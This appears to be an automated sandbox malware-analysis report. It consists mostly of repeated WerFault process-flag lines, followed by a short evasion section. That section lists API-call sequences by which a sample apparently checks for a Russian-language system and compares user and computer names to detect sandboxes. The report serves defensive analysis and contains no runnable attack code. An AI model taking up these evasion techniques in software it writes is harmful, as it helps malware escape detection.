Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Contains functionality to behave differently if execute on a Russian/Kazak computer
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C74920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,IsUserAnAdmin,IsUserAnAdmin,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h 2_2_02C74920
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01744920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,#680,#680,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h 6_2_01744920
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03104920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,#680,#680,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h 7_2_03104920
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01524920 PathAddBackslashA,CreateFileA,WriteFile,WriteFile,WriteFile,WriteFile,GetModuleFileNameA,WriteFile,WriteFile,WriteFile,GetUserNameA,WriteFile,WriteFile,WriteFile,GetEnvironmentVariableA,WriteFile,WriteFile,WriteFile,GetSystemDefaultLangID,memset,WriteFile,WriteFile,WriteFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,WriteFile,WriteFile,WriteFile,GetDateFormatA,WriteFile,WriteFile,WriteFile,GetTimeFormatA,WriteFile,WriteFile,WriteFile,GetTimeZoneInformation,_snprintf,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,GetSystemWindowsDirectoryA,WriteFile,WriteFile,WriteFile,WriteFile,#680,#680,WriteFile,WriteFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-18h], 00000419h 10_2_01524920
Contains functionality to compare user and computer (likely to detect sandboxes)
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,0_2_00403900
